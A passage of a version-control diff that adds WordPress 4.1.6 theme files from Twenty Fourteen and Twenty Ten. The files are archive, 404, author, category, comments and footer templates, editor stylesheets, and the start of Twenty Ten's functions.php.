+ *
+ * Used to display archive-type pages for posts in a tag.
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+			<header class="archive-header">
+				<h1 class="archive-title"><?php printf( __( 'Tag Archives: %s', 'twentyfourteen' ), single_tag_title( '', false ) ); ?></h1>
+
+				<?php
+					// Show an optional term description.
+					$term_description = term_description();
+					if ( ! empty( $term_description ) ) :
+						printf( '<div class="taxonomy-description">%s</div>', $term_description );
+					endif;
+				?>
+			</header><!-- .archive-header -->
+
+			<?php
+					// Start the Loop.
+					while ( have_posts() ) : the_post();
+
+						/*
+						 * Include the post format-specific template for the content. If you want to
+						 * use this in a child theme, then include a file called called content-___.php
+						 * (where ___ is the post format) and that will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+
+					endwhile;
+					// Previous/next page navigation.
+					twentyfourteen_paging_nav();
+
+				else :
+					// If no content, include the "No posts found" template.
+					get_template_part( 'content', 'none' );
+
+				endif;
+			?>
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php
+get_sidebar( 'content' );
+get_sidebar();
+get_footer();
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/taxonomy-post_format.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/taxonomy-post_format.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/taxonomy-post_format.php	(revision 33402)
@@ -0,0 +1,85 @@
+<?php
+/**
+ * The template for displaying Post Format pages
+ *
+ * Used to display archive-type pages for posts with a post format.
+ * If you'd like to further customize these Post Format views, you may create a
+ * new template file for each specific one.
+ *
+ * @todo https://core.trac.wordpress.org/ticket/23257: Add plural versions of Post Format strings
+ * and remove plurals below.
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+			<header class="archive-header">
+				<h1 class="archive-title">
+					<?php
+						if ( is_tax( 'post_format', 'post-format-aside' ) ) :
+							_e( 'Asides', 'twentyfourteen' );
+
+						elseif ( is_tax( 'post_format', 'post-format-image' ) ) :
+							_e( 'Images', 'twentyfourteen' );
+
+						elseif ( is_tax( 'post_format', 'post-format-video' ) ) :
+							_e( 'Videos', 'twentyfourteen' );
+
+						elseif ( is_tax( 'post_format', 'post-format-audio' ) ) :
+							_e( 'Audio', 'twentyfourteen' );
+
+						elseif ( is_tax( 'post_format', 'post-format-quote' ) ) :
+							_e( 'Quotes', 'twentyfourteen' );
+
+						elseif ( is_tax( 'post_format', 'post-format-link' ) ) :
+							_e( 'Links', 'twentyfourteen' );
+
+						elseif ( is_tax( 'post_format', 'post-format-gallery' ) ) :
+							_e( 'Galleries', 'twentyfourteen' );
+
+						else :
+							_e( 'Archives', 'twentyfourteen' );
+
+						endif;
+					?>
+				</h1>
+			</header><!-- .archive-header -->
+
+			<?php
+					// Start the Loop.
+					while ( have_posts() ) : the_post();
+
+						/*
+						 * Include the post format-specific template for the content. If you want to
+						 * use this in a child theme, then include a file called called content-___.php
+						 * (where ___ is the post format) and that will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+
+					endwhile;
+					// Previous/next page navigation.
+					twentyfourteen_paging_nav();
+
+				else :
+					// If no content, include the "No posts found" template.
+					get_template_part( 'content', 'none' );
+
+				endif;
+			?>
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php
+get_sidebar( 'content' );
+get_sidebar();
+get_footer();
Index: /tags/4.1.6/src/wp-content/themes/twentyten/404.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/404.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/404.php	(revision 33402)
@@ -0,0 +1,30 @@
+<?php
+/**
+ * Template for displaying 404 pages (Not Found)
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+	<div id="container">
+		<div id="content" role="main">
+
+			<div id="post-0" class="post error404 not-found">
+				<h1 class="entry-title"><?php _e( 'Not Found', 'twentyten' ); ?></h1>
+				<div class="entry-content">
+					<p><?php _e( 'Apologies, but the page you requested could not be found. Perhaps searching will help.', 'twentyten' ); ?></p>
+					<?php get_search_form(); ?>
+				</div><!-- .entry-content -->
+			</div><!-- #post-0 -->
+
+		</div><!-- #content -->
+	</div><!-- #container -->
+	<script type="text/javascript">
+		// focus on search field after it has loaded
+		document.getElementById('s') && document.getElementById('s').focus();
+	</script>
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyten/archive.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/archive.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/archive.php	(revision 33402)
@@ -0,0 +1,64 @@
+<?php
+/**
+ * Template for displaying Archive pages
+ *
+ * Used to display archive-type pages if nothing more specific matches a query.
+ * For example, puts together date-based pages if no date.php file exists.
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container">
+			<div id="content" role="main">
+
+<?php
+	/*
+	 * Queue the first post, that way we know
+	 * what date we're dealing with (if that is the case).
+	 *
+	 * We reset this later so we can run the loop
+	 * properly with a call to rewind_posts().
+	 */
+	if ( have_posts() )
+		the_post();
+?>
+
+			<h1 class="page-title">
+<?php if ( is_day() ) : ?>
+				<?php printf( __( 'Daily Archives: <span>%s</span>', 'twentyten' ), get_the_date() ); ?>
+<?php elseif ( is_month() ) : ?>
+				<?php printf( __( 'Monthly Archives: <span>%s</span>', 'twentyten' ), get_the_date( _x( 'F Y', 'monthly archives date format', 'twentyten' ) ) ); ?>
+<?php elseif ( is_year() ) : ?>
+				<?php printf( __( 'Yearly Archives: <span>%s</span>', 'twentyten' ), get_the_date( _x( 'Y', 'yearly archives date format', 'twentyten' ) ) ); ?>
+<?php else : ?>
+				<?php _e( 'Blog Archives', 'twentyten' ); ?>
+<?php endif; ?>
+			</h1>
+
+<?php
+	/*
+	 * Since we called the_post() above, we need to
+	 * rewind the loop back to the beginning that way
+	 * we can run the loop properly, in full.
+	 */
+	rewind_posts();
+
+	/*
+	 * Run the loop for the archives page to output the posts.
+	 * If you want to overload this in a child theme then include a file
+	 * called loop-archive.php and that will be used instead.
+	 */
+	 get_template_part( 'loop', 'archive' );
+?>
+
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyten/attachment.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/attachment.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/attachment.php	(revision 33402)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Template for displaying attachments
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container" class="single-attachment">
+			<div id="content" role="main">
+
+			<?php
+			/*
+			 * Run the loop to output the attachment.
+			 * If you want to overload this in a child theme then include a file
+			 * called loop-attachment.php and that will be used instead.
+			 */
+			get_template_part( 'loop', 'attachment' );
+			?>
+
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyten/author.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/author.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/author.php	(revision 33402)
@@ -0,0 +1,72 @@
+<?php
+/**
+ * Template for displaying Author Archive pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container">
+			<div id="content" role="main">
+
+<?php
+	/*
+	 * Queue the first post, that way we know who
+	 * the author is when we try to get their name,
+	 * URL, description, avatar, etc.
+	 *
+	 * We reset this later so we can run the loop
+	 * properly with a call to rewind_posts().
+	 */
+	if ( have_posts() )
+		the_post();
+?>
+
+				<h1 class="page-title author"><?php printf( __( 'Author Archives: %s', 'twentyten' ), "<span class='vcard'><a class='url fn n' href='" . get_author_posts_url( get_the_author_meta( 'ID' ) ) . "' title='" . esc_attr( get_the_author() ) . "' rel='me'>" . get_the_author() . "</a></span>" ); ?></h1>
+
+<?php
+// If a user has filled out their description, show a bio on their entries.
+if ( get_the_author_meta( 'description' ) ) : ?>
+					<div id="entry-author-info">
+						<div id="author-avatar">
+							<?php
+							/**
+							 * Filter the Twenty Ten author bio avatar size.
+							 *
+							 * @since Twenty Ten 1.0
+							 *
+							 * @param int The height and width avatar dimensions in pixels. Default 60.
+							 */
+							echo get_avatar( get_the_author_meta( 'user_email' ), apply_filters( 'twentyten_author_bio_avatar_size', 60 ) );
+							?>
+						</div><!-- #author-avatar -->
+						<div id="author-description">
+							<h2><?php printf( __( 'About %s', 'twentyten' ), get_the_author() ); ?></h2>
+							<?php the_author_meta( 'description' ); ?>
+						</div><!-- #author-description	-->
+					</div><!-- #entry-author-info -->
+<?php endif; ?>
+
+<?php
+	/*
+	 * Since we called the_post() above, we need to
+	 * rewind the loop back to the beginning that way
+	 * we can run the loop properly, in full.
+	 */
+	rewind_posts();
+
+	/*
+	 * Run the loop for the author archive page to output the authors posts
+	 * If you want to overload this in a child theme then include a file
+	 * called loop-author.php and that will be used instead.
+	 */
+	 get_template_part( 'loop', 'author' );
+?>
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyten/category.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/category.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/category.php	(revision 33402)
@@ -0,0 +1,35 @@
+<?php
+/**
+ * Template for displaying Category Archive pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container">
+			<div id="content" role="main">
+
+				<h1 class="page-title"><?php
+					printf( __( 'Category Archives: %s', 'twentyten' ), '<span>' . single_cat_title( '', false ) . '</span>' );
+				?></h1>
+				<?php
+					$category_description = category_description();
+					if ( ! empty( $category_description ) )
+						echo '<div class="archive-meta">' . $category_description . '</div>';
+
+				/*
+				 * Run the loop for the category page to output the posts.
+				 * If you want to overload this in a child theme then include a file
+				 * called loop-category.php and that will be used instead.
+				 */
+				get_template_part( 'loop', 'category' );
+				?>
+
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyten/comments.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/comments.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/comments.php	(revision 33402)
@@ -0,0 +1,80 @@
+<?php
+/**
+ * Template for displaying Comments
+ *
+ * The area of the page that contains both current comments
+ * and the comment form. The actual display of comments is
+ * handled by a callback to twentyten_comment which is
+ * located in the functions.php file.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+?>
+
+			<div id="comments">
+<?php if ( post_password_required() ) : ?>
+				<p class="nopassword"><?php _e( 'This post is password protected. Enter the password to view any comments.', 'twentyten' ); ?></p>
+			</div><!-- #comments -->
+<?php
+		/*
+		 * Stop the rest of comments.php from being processed,
+		 * but don't kill the script entirely -- we still have
+		 * to fully load the template.
+		 */
+		return;
+	endif;
+?>
+
+<?php
+	// You can start editing here -- including this comment!
+?>
+
+<?php if ( have_comments() ) : ?>
+			<h3 id="comments-title"><?php
+			printf( _n( 'One Response to %2$s', '%1$s Responses to %2$s', get_comments_number(), 'twentyten' ),
+			number_format_i18n( get_comments_number() ), '<em>' . get_the_title() . '</em>' );
+			?></h3>
+
+<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // Are there comments to navigate through? ?>
+			<div class="navigation">
+				<div class="nav-previous"><?php previous_comments_link( __( '<span class="meta-nav">&larr;</span> Older Comments', 'twentyten' ) ); ?></div>
+				<div class="nav-next"><?php next_comments_link( __( 'Newer Comments <span class="meta-nav">&rarr;</span>', 'twentyten' ) ); ?></div>
+			</div> <!-- .navigation -->
+<?php endif; // check for comment navigation ?>
+
+			<ol class="commentlist">
+				<?php
+					/*
+					 * Loop through and list the comments. Tell wp_list_comments()
+					 * to use twentyten_comment() to format the comments.
+					 * If you want to overload this in a child theme then you can
+					 * define twentyten_comment() and that will be used instead.
+					 * See twentyten_comment() in twentyten/functions.php for more.
+					 */
+					wp_list_comments( array( 'callback' => 'twentyten_comment' ) );
+				?>
+			</ol>
+
+<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // Are there comments to navigate through? ?>
+			<div class="navigation">
+				<div class="nav-previous"><?php previous_comments_link( __( '<span class="meta-nav">&larr;</span> Older Comments', 'twentyten' ) ); ?></div>
+				<div class="nav-next"><?php next_comments_link( __( 'Newer Comments <span class="meta-nav">&rarr;</span>', 'twentyten' ) ); ?></div>
+			</div><!-- .navigation -->
+<?php endif; // check for comment navigation ?>
+
+	<?php
+	/*
+	 * If there are no comments and comments are closed, let's leave a little note, shall we?
+	 * But we only want the note on posts and pages that had comments in the first place.
+	 */
+	if ( ! comments_open() && get_comments_number() ) : ?>
+		<p class="nocomments"><?php _e( 'Comments are closed.' , 'twentyten' ); ?></p>
+	<?php endif;  ?>
+
+<?php endif; // end have_comments() ?>
+
+<?php comment_form(); ?>
+
+</div><!-- #comments -->
Index: /tags/4.1.6/src/wp-content/themes/twentyten/editor-style-rtl.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/editor-style-rtl.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/editor-style-rtl.css	(revision 33402)
@@ -0,0 +1,29 @@
+/*
+Theme Name: Twenty Ten
+*/
+/*
+Used to style the TinyMCE editor.
+*/
+html .mceContentBody{
+	direction: rtl;
+	unicode-bidi: embed;
+	float: right;
+	width: 640px;
+}
+* {
+	font-family: Arial, Tahoma, sans-serif;
+}
+/* Text elements */
+ul, ol {
+	margin: 0 -18px 18px 0;
+}
+dd {
+	margin-right: 0;
+}
+blockquote {
+	font-style: normal;
+}
+table {
+	text-align: right;
+	margin: 0 0 24px -1px;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyten/editor-style.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/editor-style.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/editor-style.css	(revision 33402)
@@ -0,0 +1,297 @@
+/*
+Theme Name: Twenty Ten
+Description: Used to style the TinyMCE editor.
+*/
+html .mceContentBody {
+	max-width: 640px;
+}
+* {
+	color: #444;
+	font-family: Georgia, "Bitstream Charter", serif;
+	line-height: 1.5;
+}
+p,
+dl,
+td,
+th,
+ul,
+ol,
+blockquote {
+	font-size: 16px;
+}
+tr th,
+thead th,
+label,
+tr th,
+thead th {
+	font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif;
+}
+pre {
+	font-family: "Courier 10 Pitch", Courier, monospace;
+}
+code, code var {
+	font-family: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
+}
+body, input, textarea {
+	font-size: 12px;
+	line-height: 18px;
+}
+hr {
+	background-color: #e7e7e7;
+	border: 0;
+	clear: both;
+	height: 1px;
+	margin-bottom: 18px;
+}
+/* Text elements */
+p {
+	margin-bottom: 18px;
+}
+
+ul,
+ol {
+	margin: 0 0 18px 1.5em;
+	padding: 0;
+}
+
+ul {
+	list-style: square;
+}
+ol {
+	list-style: decimal;
+}
+ol ol {
+	list-style: upper-alpha;
+}
+ol ol ol {
+	list-style: lower-roman;
+}
+ol ol ol ol {
+	list-style: lower-alpha;
+}
+ul ul,
+ol ol,
+ul ol,
+ol ul {
+	margin-bottom: 0;
+}
+dl {
+	margin: 0 0 24px 0;
+}
+dt {
+	font-weight: bold;
+}
+dd {
+	margin-bottom: 18px;
+}
+strong {
+	color: #000;
+	font-weight: bold;
+}
+cite,
+em,
+i {
+	border: none;
+	font-style: italic;
+}
+big {
+	font-size: 131.25%;
+}
+ins {
+	background: #ffc;
+	border: none;
+	color: #333;
+}
+del {
+	text-decoration: line-through;
+	color: #555;
+}
+blockquote {
+	font-style: italic;
+	padding: 0 3em;
+}
+blockquote cite,
+blockquote em,
+blockquote i {
+	font-style: normal;
+}
+pre {
+	background: #f7f7f7;
+	color: #222;
+	line-height: 18px;
+	margin-bottom: 18px;
+	padding: 1.5em;
+}
+abbr,
+acronym {
+	border-bottom: 1px dotted #666;
+	cursor: help;
+}
+ins {
+	text-decoration: none;
+}
+sup,
+sub {
+	font-size: 10px;
+	height: 0;
+	line-height: 1;
+	position: relative;
+	vertical-align: baseline;
+}
+sup {
+	bottom: 1ex;
+}
+sub {
+	top: .5ex;
+}
+a:link {
+	color: #06c;
+}
+a:visited {
+	color: #743399;
+}
+a:active,
+a:hover {
+	color: #ff4b33;
+}
+p,
+ul,
+ol,
+dd,
+pre,
+hr {
+	margin-bottom: 24px;
+}
+ul ul,
+ol ol,
+ul ol,
+ol ul {
+	margin-bottom: 0;
+}
+pre,
+kbd,
+tt,
+var {
+	font-size: 15px;
+	line-height: 21px;
+}
+code {
+	font-size: 13px;
+}
+strong,
+b,
+dt,
+th {
+	color: #000;
+}
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	color: #000;
+	font-weight: normal;
+	line-height: 1.5em;
+	margin: 0 0 20px 0;
+}
+h1 {
+	font-size: 2.4em;
+}
+h2 {
+	font-size: 1.8em;
+}
+h3 {
+	font-size: 1.4em;
+}
+h4 {
+	font-size: 1.2em;
+}
+h5 {
+	font-size: 1em;
+}
+h6 {
+	font-size: 0.9em;
+}
+table {
+	border: 1px solid #e7e7e7 !important;
+	border-collapse: collapse;
+	border-spacing: 0;
+	margin: 0 -1px 24px 0;
+	text-align: left;
+	width: 100%;
+}
+tr th,
+thead th {
+	border: none !important;
+	color: #888;
+	font-size: 12px;
+	font-weight: bold;
+	line-height: 18px;
+	padding: 9px 24px;
+}
+tr td {
+	border: none !important;
+	border-top: 1px solid #e7e7e7 !important;
+	padding: 6px 24px;
+}
+img {
+	margin: 0;
+}
+img.size-auto,
+img.size-large,
+img.size-full,
+img.size-medium {
+	max-width: 100%;
+	height: auto;
+}
+.alignleft,
+img.alignleft {
+	display: inline;
+	float: left;
+	margin-right: 24px;
+	margin-top: 4px;
+}
+.alignright,
+img.alignright {
+	display: inline;
+	float: right;
+	margin-left: 24px;
+	margin-top: 4px;
+}
+.aligncenter,
+img.aligncenter {
+	clear: both;
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+img.alignleft,
+img.alignright,
+img.aligncenter {
+	margin-bottom: 12px;
+}
+.wp-caption {
+	background: #f1f1f1;
+	border: none;
+	-khtml-border-radius: 0;
+	-moz-border-radius: 0;
+	-webkit-border-radius: 0;
+	border-radius: 0;
+	color: #888;
+	font-size: 12px;
+	line-height: 18px;
+	margin-bottom: 20px;
+	max-width: 632px !important; /* prevent too-wide images from breaking layout */
+	padding: 4px;
+	text-align: center;
+}
+.wp-caption img {
+	margin: 5px;
+}
+.wp-caption p.wp-caption-text {
+	margin: 0 0 4px;
+}
+.wp-smiley {
+	margin: 0;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyten/footer.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/footer.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/footer.php	(revision 33402)
@@ -0,0 +1,58 @@
+<?php
+/**
+ * Template for displaying the footer
+ *
+ * Contains the closing of the id=main div and all content
+ * after. Calls sidebar-footer.php for bottom widgets.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+?>
+	</div><!-- #main -->
+
+	<div id="footer" role="contentinfo">
+		<div id="colophon">
+
+<?php
+	/*
+	 * A sidebar in the footer? Yep. You can can customize
+	 * your footer with four columns of widgets.
+	 */
+	get_sidebar( 'footer' );
+?>
+
+			<div id="site-info">
+				<a href="<?php echo home_url( '/' ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home">
+					<?php bloginfo( 'name' ); ?>
+				</a>
+			</div><!-- #site-info -->
+
+			<div id="site-generator">
+				<?php
+				/**
+				 * Fires before the Twenty Ten credits in the footer.
+				 *
+				 * @since Twenty Ten 1.0
+				 */
+				do_action( 'twentyten_credits' ); ?>
+				<a href="<?php echo esc_url( __( 'http://wordpress.org/', 'twentyten' ) ); ?>" title="<?php esc_attr_e( 'Semantic Personal Publishing Platform', 'twentyten' ); ?>"><?php printf( __( 'Proudly powered by %s.', 'twentyten' ), 'WordPress' ); ?></a>
+			</div><!-- #site-generator -->
+
+		</div><!-- #colophon -->
+	</div><!-- #footer -->
+
+</div><!-- #wrapper -->
+
+<?php
+	/*
+	 * Always have wp_footer() just before the closing </body>
+	 * tag of your theme, or you will break many plugins, which
+	 * generally use this hook to reference JavaScript files.
+	 */
+
+	wp_footer();
+?>
+</body>
+</html>
Index: /tags/4.1.6/src/wp-content/themes/twentyten/functions.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/functions.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/functions.php	(revision 33402)
@@ -0,0 +1,595 @@
+<?php
+/**
+ * TwentyTen functions and definitions
+ *
+ * Sets up the theme and provides some helper functions. Some helper functions
+ * are used in the theme as custom template tags. Others are attached to action and
+ * filter hooks in WordPress to change core functionality.
+ *
+ * The first function, twentyten_setup(), sets up the theme by registering support
+ * for various features in WordPress, such as post thumbnails, navigation menus, and the like.
+ *
+ * When using a child theme (see http://codex.wordpress.org/Theme_Development and
+ * http://codex.wordpress.org/Child_Themes), you can override certain functions
+ * (those wrapped in a function_exists() call) by defining them first in your child theme's
+ * functions.php file. The child theme's functions.php file is included before the parent
+ * theme's file, so the child theme functions would be used.
+ *
+ * Functions that are not pluggable (not wrapped in function_exists()) are instead attached
+ * to a filter or action hook. The hook can be removed by using remove_action() or
+ * remove_filter() and you can attach your own function to the hook.
+ *
+ * We can remove the parent theme's hook only after it is attached, which means we need to
+ * wait until setting up the child theme:
+ *
+ * <code>
+ * add_action( 'after_setup_theme', 'my_child_theme_setup' );
+ * function my_child_theme_setup() {
+ *     // We are providing our own filter for excerpt_length (or using the unfiltered value)
+ *     remove_filter( 'excerpt_length', 'twentyten_excerpt_length' );
+ *     ...
+ * }
+ * </code>
+ *
+ * For more information on hooks, actions, and filters, see http://codex.wordpress.org/Plugin_API.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+/*
+ * Set the content width based on the theme's design and stylesheet.
+ *
+ * Used to set the width of images and content. Should be equal to the width the theme
+ * is designed for, generally via the style.css stylesheet.
+ */
+if ( ! isset( $content_width ) )
+	$content_width = 640;
+
+/* Tell WordPress to run twentyten_setup() when the 'after_setup_theme' hook is run. */
+add_action( 'after_setup_theme', 'twentyten_setup' );
+
+if ( ! function_exists( 'twentyten_setup' ) ):
+/**
+ * Set up theme defaults and registers support for various WordPress features.
+ *
+ * Note that this function is hooked into the after_setup_theme hook, which runs
+ * before the init hook. The init hook is too late for some features, such as indicating
+ * support post thumbnails.
+ *
+ * To override twentyten_setup() in a child theme, add your own twentyten_setup to your child theme's
+ * functions.php file.
+ *
+ * @uses add_theme_support()        To add support for post thumbnails, custom headers and backgrounds, and automatic feed links.
+ * @uses register_nav_menus()       To add support for navigation menus.
+ * @uses add_editor_style()         To style the visual editor.
+ * @uses load_theme_textdomain()    For translation/localization support.
+ * @uses register_default_headers() To register the default custom header images provided with the theme.
+ * @uses set_post_thumbnail_size()  To set a custom post thumbnail size.
+ *
+ * @since Twenty Ten 1.0
+ */
+function twentyten_setup() {
+
+	// This theme styles the visual editor with editor-style.css to match the theme style.
+	add_editor_style();
+
+	// Post Format support. You can also use the legacy "gallery" or "asides" (note the plural) categories.
+	add_theme_support( 'post-formats', array( 'aside', 'gallery' ) );
+
+	// This theme uses post thumbnails
+	add_theme_support( 'post-thumbnails' );
+
+	// Add default posts and comments RSS feed links to head
+	add_theme_support( 'automatic-feed-links' );
+
+	/*
+	 * Make theme available for translation.
+	 * Translations can be filed in the /languages/ directory
+	 */
+	load_theme_textdomain( 'twentyten', get_template_directory() . '/languages' );
+
+	// This theme uses wp_nav_menu() in one location.
+	register_nav_menus( array(
+		'primary' => __( 'Primary Navigation', 'twentyten' ),
+	) );
+
+	// This theme allows users to set a custom background.
+	add_theme_support( 'custom-background', array(
+		// Let WordPress know what our default background color is.
+		'default-color' => 'f1f1f1',
+	) );
+
+	// The custom header business starts here.
+
+	$custom_header_support = array(
+		/*
+		 * The default image to use.
+		 * The %s is a placeholder for the theme template directory URI.
+		 */
+		'default-image' => '%s/images/headers/path.jpg',
+		// The height and width of our custom header.
+		/**
+		 * Filter the Twenty Ten default header image width.
+		 *
+		 * @since Twenty Ten 1.0
+		 *
+		 * @param int The default header image width in pixels. Default 940.
+		 */
+		'width' => apply_filters( 'twentyten_header_image_width', 940 ),
+		/**
+		 * Filter the Twenty Ten defaul header image height.
+		 *
+		 * @since Twenty Ten 1.0
+		 *
+		 * @param int The default header image height in pixels. Default 198.
+		 */
+		'height' => apply_filters( 'twentyten_header_image_height', 198 ),
+		// Support flexible heights.
+		'flex-height' => true,
+		// Don't support text inside the header image.
+		'header-text' => false,
+		// Callback for styling the header preview in the admin.
+		'admin-head-callback' => 'twentyten_admin_header_style',
+	);
+
+	add_theme_support( 'custom-header', $custom_header_support );
+
+	if ( ! function_exists( 'get_custom_header' ) ) {
+		// This is all for compatibility with versions of WordPress prior to 3.4.
+		define( 'HEADER_TEXTCOLOR', '' );
+		define( 'NO_HEADER_TEXT', true );
+		define( 'HEADER_IMAGE', $custom_header_support['default-image'] );
+		define( 'HEADER_IMAGE_WIDTH', $custom_header_support['width'] );
+		define( 'HEADER_IMAGE_HEIGHT', $custom_header_support['height'] );
+		add_custom_image_header( '', $custom_header_support['admin-head-callback'] );
+		add_custom_background();
+	}
+
+	/*
+	 * We'll be using post thumbnails for custom header images on posts and pages.
+	 * We want them to be 940 pixels wide by 198 pixels tall.
+	 * Larger images will be auto-cropped to fit, smaller ones will be ignored. See header.php.
+	 */
+	set_post_thumbnail_size( $custom_header_support['width'], $custom_header_support['height'], true );
+
+	// ... and thus ends the custom header business.
+
+	// Default custom headers packaged with the theme. %s is a placeholder for the theme template directory URI.
+	register_default_headers( array(
+		'berries' => array(
+			'url' => '%s/images/headers/berries.jpg',
+			'thumbnail_url' => '%s/images/headers/berries-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Berries', 'twentyten' )
+		),
+		'cherryblossom' => array(
+			'url' => '%s/images/headers/cherryblossoms.jpg',
+			'thumbnail_url' => '%s/images/headers/cherryblossoms-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Cherry Blossoms', 'twentyten' )
+		),
+		'concave' => array(
+			'url' => '%s/images/headers/concave.jpg',
+			'thumbnail_url' => '%s/images/headers/concave-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Concave', 'twentyten' )
+		),
+		'fern' => array(
+			'url' => '%s/images/headers/fern.jpg',
+			'thumbnail_url' => '%s/images/headers/fern-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Fern', 'twentyten' )
+		),
+		'forestfloor' => array(
+			'url' => '%s/images/headers/forestfloor.jpg',
+			'thumbnail_url' => '%s/images/headers/forestfloor-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Forest Floor', 'twentyten' )
+		),
+		'inkwell' => array(
+			'url' => '%s/images/headers/inkwell.jpg',
+			'thumbnail_url' => '%s/images/headers/inkwell-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Inkwell', 'twentyten' )
+		),
+		'path' => array(
+			'url' => '%s/images/headers/path.jpg',
+			'thumbnail_url' => '%s/images/headers/path-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Path', 'twentyten' )
+		),
+		'sunset' => array(
+			'url' => '%s/images/headers/sunset.jpg',
+			'thumbnail_url' => '%s/images/headers/sunset-thumbnail.jpg',
+			/* translators: header image description */
+			'description' => __( 'Sunset', 'twentyten' )
+		)
+	) );
+}
+endif;
+
+if ( ! function_exists( 'twentyten_admin_header_style' ) ) :
+/**
+ * Style the header image displayed on the Appearance > Header admin panel.
+ *
+ * Referenced via add_custom_image_header() in twentyten_setup().
+ *
+ * @since Twenty Ten 1.0
+ */
+function twentyten_admin_header_style() {
+?>
+<style type="text/css" id="twentyten-admin-header-css">
+/* Shows the same border as on front end */
+#headimg {
+	border-bottom: 1px solid #000;
+	border-top: 4px solid #000;
+}
+/* If header-text was supported, you would style the text with these selectors:
+	#headimg #name { }
+	#headimg #desc { }
+*/
+</style>
+<?php
+}
+endif;
+
+/**
+ * Show a home link for our wp_nav_menu() fallback, wp_page_menu().
+ *
+ * To override this in a child theme, remove the filter and optionally add
+ * your own function tied to the wp_page_menu_args filter hook.
+ *
